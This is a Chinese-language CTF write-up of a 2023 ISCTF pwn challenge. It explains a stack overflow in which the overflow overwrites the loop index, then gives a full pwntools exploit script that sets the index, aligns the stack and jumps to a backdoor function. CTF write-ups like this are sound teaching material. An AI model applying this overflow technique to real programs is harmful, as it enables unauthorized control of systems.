这是我在这次比赛中遇到最有意思的一题,不仅让我看到了一种有意思的题型,而且让我开始看懂了pwndbg的调试界面。
IDA里面是这样的,有直接可以提权的backdoor函数,有read函数,看似有点像ret2system。
让我们分析一下这个函数的读入逻辑:首先让你输入一个size值,read会总共分size次读入一个字节,并且写到s[ i ]的位置,由于 i 的递增,程序会在栈上一直往下写。确实是存在栈溢出,但是在我实际尝试过程中发现覆盖不到函数ret的地址。如何解决这个问题就是这题的关键。
其中 i 的值存在var_4的位置,v1在var_24的位置,v3在var_18的位置,而数组从s开始写入。
这是我用cyclic send出去的,可以看到在我画线的地方看到是我的aaaabaaacaaad。(cyclic(数字)是pwntools的模块用于发送垃圾数据,格式就是这里显示的这样)
注意两幅图的画线位置,在下面的位置0xc0变成了0xe0,而A多写入了两个。
我敏锐的目光在gdb的界面上一扫而过,我就猜出了问题所在。(doge)
很明显如果A继续这样写进去, i 的值会被我们输入的A覆盖。这就是整道题的灵魂所在。而变量 i 的值如果被覆盖,程序会根据 i 的索引写到另一个地方,那我们解决的办法也很简单,用一个合理的值去覆盖 i 。
在这两张图对比中我们看到如果继续写下去0x1c,也就是 i 的值会变成61.(这里的68是h,因为cyclic的特性会在一堆A里面加上别的字母方便看)
那我们要用什么去覆写 i 的值呢。一种方法是只让他跳过 i 的位置,然后像常规栈溢出一个个往下写。另一种方法就是直接向rbp的地址写入。
两种方法都可以,只要你把payload里面的垃圾数据的字节大小和覆盖 i 的值算对就好。我用的是第一种方法,这里看看exp。
from pwn import *
#from LibcSearcher import *
context(
terminal = ['tmux','splitw','-h'],
os = "linux",
arch = "amd64",
# arch = "i386",
log_level="debug",
)
#elf = ELF("./vuln")
#libc = ELF('./lib.so.6')
io = process("./stack")
#io = remote("43.249.195.138",20550)
def debug():
gdb.attach(io)
pause()
debug()
[################################################################]
ret = p64(0x40101a)#用来栈对其的,我还不清楚原理,这个是我哥们教的,有空填坑
back_adr = p64(0x4012E6)#back_door的address
payload = cyclic(0x1d)#垃圾数据
payload += b'\x1f'#用来覆盖 i 的值
payload += b'aaaaaaaa'+ ret + back_adr
io.send('51')#输入size的值
io.send(payload)
io.interactive()
这题大家可以多在pwndbg里一步步调试,在read设个断点一直 c 就行。
我就是这样打通pwndbg的任督二脉的,之前一直看不懂www
这题其实还告诉我们在进行栈溢出的时候要注意会不会把栈上关键数据覆盖了,导致爆破失败。
标签:覆盖,cyclic,题解,位置,send,stack,io,payload,2023ISCTFpwn From: https://blog.51cto.com/u_16356440/8649247